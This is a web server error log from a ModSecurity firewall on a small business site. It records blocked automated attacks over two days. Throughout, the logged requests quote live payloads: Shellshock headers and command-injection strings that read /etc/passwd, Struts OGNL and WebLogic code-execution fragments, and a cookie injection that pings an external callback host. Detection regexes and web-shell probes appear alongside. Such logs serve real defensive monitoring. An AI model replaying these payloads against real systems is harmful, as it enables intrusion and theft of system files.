[Sat Nov 15 19:18:31.591356 2025] [:error] [pid 20346:tid 20349] [client 144.48.39.108:36484] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /account"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/account"] [unique_id "aRhhh57hsydZdIoVTltAnAAAAwA"]
[Sat Nov 15 19:18:31.605531 2025] [:error] [pid 22765:tid 22792] [client 144.48.39.108:36510] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aRhhh6brQzjuZmPIWDb2TgAAApY"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.605917 2025] [:error] [pid 27911:tid 27986] [client 144.48.39.108:36522] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/status"] [unique_id "aRhhh8GzUdrhGBIfiKRubQAAAJI"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.607516 2025] [:error] [pid 27997:tid 28008] [client 144.48.39.108:36534] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/stats"] [unique_id "aRhhh9pja_6cDxKbxFniBQAAAMk"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.609484 2025] [:error] [pid 20654:tid 20667] [client 144.48.39.108:36526] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/test"] [unique_id "aRhhh3cS7eC8vO76_yf6UQAAA4o"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.611770 2025] [:error] [pid 19959:tid 19980] [client 144.48.39.108:36548] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/test.cgi"] [unique_id "aRhhh8jejiTUP1-IawPjVgAAAY4"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:31.611825 2025] [:error] [pid 19959:tid 19966] [client 144.48.39.108:36564] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/status/status.cgi"] [unique_id "aRhhh8jejiTUP1-IawPjVwAAAYA"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sat Nov 15 19:18:32.630087 2025] [:error] [pid 22613:tid 22626] [client 144.48.39.108:36568] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)((?:\\\\bx(?:link:href|html|mlns)|!ENTITY\\\\b.{0,399}?\\\\b(?:SYSTEM|PUBLIC)|\\\\bdata:text\\\\/html))" at ARGS:stagingTaskData. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "170"] [id "213060"] [rev "7"] [msg "COMODO WAF: XSS Filter - Category 3: Attribute Vector||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "windfarmcoolants.com.au"] [uri "/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"] [unique_id "aRhhiCoyR3cDsIRGPRnKbQAAAgs"]
[Sat Nov 15 19:18:32.634226 2025] [:error] [pid 27997:tid 28000] [client 144.48.39.108:36598] [client 144.48.39.108] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aRhhiNpja_6cDxKbxFniBgAAAME"]
[Sat Nov 15 19:18:32.635751 2025] [:error] [pid 27997:tid 28000] [client 144.48.39.108:36598] [client 144.48.39.108] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||windfarmcoolants.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aRhhiNpja_6cDxKbxFniBgAAAME"]
[Sat Nov 15 19:53:32.503394 2025] [:error] [pid 20346:tid 20371] [client 104.234.19.24:30305] [client 104.234.19.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/txets.php"] [unique_id "aRhpvJ7hsydZdIoVTltGYwAAAxY"]
[Sat Nov 15 19:53:32.983681 2025] [:error] [pid 19959:tid 19967] [client 136.144.19.204:37301] [client 136.144.19.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/txets.php"] [unique_id "aRhpvMjejiTUP1-IawPnsgAAAYE"]
[Sat Nov 15 19:53:33.464345 2025] [:error] [pid 27909:tid 27923] [client 136.144.19.208:31911] [client 136.144.19.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/txets.php"] [unique_id "aRhpvSTfZ6B57n8HepU5iQAAAAo"]
[Sat Nov 15 20:23:28.593998 2025] [:error] [pid 20654:tid 20668] [client 24.199.87.153:33052] [client 24.199.87.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.87.153, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRhwwHcS7eC8vO76_ycH4AAAA4s"]
[Sat Nov 15 20:23:28.600311 2025] [:error] [pid 20654:tid 20668] [client 24.199.87.153:33052] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Nov 15 21:09:21.298800 2025] [:error] [pid 19961:tid 20012] [client 45.153.34.233:36562] [client 45.153.34.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRh7gTar7Si-84EApVSKmAAAAdM"]
[Sat Nov 15 22:43:54.174622 2025] [:error] [pid 22613:tid 22636] [client 185.102.115.93:35646] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sat Nov 15 23:28:08.515475 2025] [:error] [pid 20346:tid 20350] [client 104.234.19.39:41383] [client 104.234.19.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/postnews.php"] [unique_id "aRicCJ7hsydZdIoVTlttmwAAAwE"]
[Sat Nov 15 23:28:08.999059 2025] [:error] [pid 19959:tid 19966] [client 193.36.224.46:33575] [client 193.36.224.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aRicCMjejiTUP1-IawMIDQAAAYA"]
[Sat Nov 15 23:28:09.504402 2025] [:error] [pid 19961:tid 20006] [client 104.234.19.40:45891] [client 104.234.19.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aRicCTar7Si-84EApVSZrAAAAc0"]
[Sun Nov 16 01:36:10.973726 2025] [:error] [pid 20313:tid 20320] [client 185.102.115.93:33882] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sun Nov 16 04:02:54.811640 2025] [:error] [pid 52469:tid 52482] [client 144.48.39.108:35636] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(?:cmd(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:32){0,1}\\\\.exe\\\\b)|(?:ftp|n(?:c|et|map)|rcmd|telnet|w(?:guest|sh))\\\\.exe\\\\b)" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "60"] [id "211200"] [rev "3"] [msg "COMODO WAF: System Command Access||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: cmd.exe found within ARGS:handle: com.tangosol.coherence.mvel2.sh.shellsession(weblogic.work.executethread executethread =(weblogic.work.executethread) thread.currentthread() weblogic.work.workadapter adapter = executethread.getcurrentwork() java.lang.reflect.field field = adapter.getclass().getdeclaredfield(connectionhandler) field.setaccessible(true) object obj = field.get(adapter) weblogic.servlet.internal.servletrequestimpl req =(weblogic.servlet.internal.servletrequestimpl) obj.getclas..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/console/css/%2e%2e%2fconsole.portal"] [unique_id "aRjcbk6HaXpHeEZ98Z32KgAAAAU"]
[Sun Nov 16 04:02:55.401077 2025] [:error] [pid 52471:tid 52540] [client 144.48.39.108:35648] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Match of "endsWith /wp-cron.php" against "REQUEST_FILENAME" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "103"] [id "217200"] [rev "2"] [msg "COMODO WAF: HTTP/1.1 POST request missing Content-Length Header||www.windfarmcoolants.com.au|F|2"] [data "/guest_auth/guestisup.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/guest_auth/guestIsUp.php"] [unique_id "aRjcb9mWsFzjR5CEgDWPiwAAAIg"]
[Sun Nov 16 04:27:04.730300 2025] [:error] [pid 52471:tid 52542] [client 51.81.107.180:46478] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Sun Nov 16 07:11:35.721068 2025] [:error] [pid 52469:tid 52493] [client 144.48.39.108:51206] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\b(?:c(?:d(?:\\\\b[^a-zA-Z0-9_]{0,}?[\\\\/]|[^a-zA-Z0-9_]{0,}?\\\\.\\\\.)|hmod.{0,40}?\\\\+.{0,3}x|md(?:\\\\b[^a-zA-Z0-9_]{0,}?\\\\/c|(?:\\\\.exe|32)\\\\b))|(?:echo\\\\b[^a-zA-Z0-9_]{0,}?\\\\by{1,}|n(?:et(?:\\\\b[^a-zA-Z0-9_]{1,}?\\\\blocalgroup|\\\\.exe)|(?:c|map)\\\\.exe)|t(? ..." at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "65"] [id "211210"] [rev "8"] [msg "COMODO WAF: System Command Injection||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: |echo found within REQUEST_COOKIES:username: admin|echo%20`ping -c 3 d4bethlndua6f9q50b70z3dtms93adfhb.oast.live`"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIp06HaXpHeEZ98Z0d6QAAABA"]
[Sun Nov 16 07:11:35.722069 2025] [:error] [pid 52563:tid 52568] [client 144.48.39.108:51216] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aRkIp8-l3ey-hVJ5AusNNgAAAMI"]
[Sun Nov 16 07:11:35.769401 2025] [:error] [pid 52563:tid 52585] [client 144.48.39.108:51224] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%2..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIp8-l3ey-hVJ5AusNNwAAANM"]
[Sun Nov 16 07:11:35.769427 2025] [:error] [pid 52471:tid 52537] [client 144.48.39.108:51234] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIp9mWsFzjR5CEgDW6DAAAAIU"]
[Sun Nov 16 07:11:35.770040 2025] [:error] [pid 52471:tid 52552] [client 144.48.39.108:51276] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/fuel/pages/select/"] [unique_id "aRkIp9mWsFzjR5CEgDW6DQAAAJQ"]
[Sun Nov 16 07:11:35.770150 2025] [:error] [pid 52563:tid 52583] [client 144.48.39.108:51222] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:search outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:search==\\x00{.cookie|12yVqj|value=CVE-2014-6287.}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIp8-l3ey-hVJ5AusNOAAAANE"]
[Sun Nov 16 07:11:35.770427 2025] [:error] [pid 52469:tid 52486] [client 144.48.39.108:51262] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aRkIp06HaXpHeEZ98Z0d6gAAAAk"]
[Sun Nov 16 07:11:35.770919 2025] [:error] [pid 52471:tid 52555] [client 144.48.39.108:51250] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/PDC/ajaxreq.php"] [unique_id "aRkIp9mWsFzjR5CEgDW6DgAAAJc"]
[Sun Nov 16 07:11:35.779637 2025] [:error] [pid 20556:tid 20582] [client 144.48.39.108:51300] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php"] [unique_id "aRkIp0kbyEckbWtBcCK0JQAAARg"]
[Sun Nov 16 07:11:35.806166 2025] [:error] [pid 20556:tid 20566] [client 144.48.39.108:51314] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pages/systemcall.php?command=cat%20/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/pages/systemcall.php"] [unique_id "aRkIp0kbyEckbWtBcCK0JgAAAQg"]
[Sun Nov 16 07:11:38.407432 2025] [:error] [pid 20556:tid 20562] [client 144.48.39.108:51350] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "rx ^(?:\\\\w+\\\\/[\\\\w\\\\-\\\\.]+)(?:;(?:charset=[\\\\w\\\\-]{1,18}|boundary=[\\\\w\\\\-]+)?)?$" against "REQUEST_HEADERS:Content-Type" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6743"] [id "243930"] [rev "2"] [msg "COMODO WAF: Remote code execution in Apache Struts versions 2.3.31 - 2.3.5 and 2.5 - 2.5.10 (CVE-2017-5638)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aRkIqkkbyEckbWtBcCK0LwAAAQQ"]
[Sun Nov 16 07:11:39.425092 2025] [:error] [pid 52471:tid 52533] [client 144.48.39.108:49230] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /ajax/render/widget_tabbedcontainer_tab_panel"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/ajax/render/widget_tabbedcontainer_tab_panel"] [unique_id "aRkIq9mWsFzjR5CEgDW6FQAAAIE"]
[Sun Nov 16 07:11:40.419110 2025] [:error] [pid 52469:tid 52480] [client 144.48.39.108:49242] File does not exist: /usr/local/apache/htdocs/suspended-page/mailingupgrade.php
[Sun Nov 16 07:11:41.416540 2025] [:error] [pid 52470:tid 52506] [client 144.48.39.108:49278] File does not exist: /usr/local/apache/htdocs/suspended-page/boardDataWW.php
[Sun Nov 16 07:11:41.420577 2025] [:error] [pid 20556:tid 20578] [client 144.48.39.108:49314] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/status/status.cgi"] [unique_id "aRkIrUkbyEckbWtBcCK0NAAAARQ"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.424175 2025] [:error] [pid 20556:tid 20567] [client 144.48.39.108:49378] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/debug.cgi"] [unique_id "aRkIrUkbyEckbWtBcCK0NQAAAQk"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Sun Nov 16 07:11:41.424949 2025] [:error] [pid 20556:tid 20573] [client 144.48.39.108:49372] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/test.cgi"] [unique_id "aRkIrUkbyEckbWtBcCK0NgAAAQ8"], referer: () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
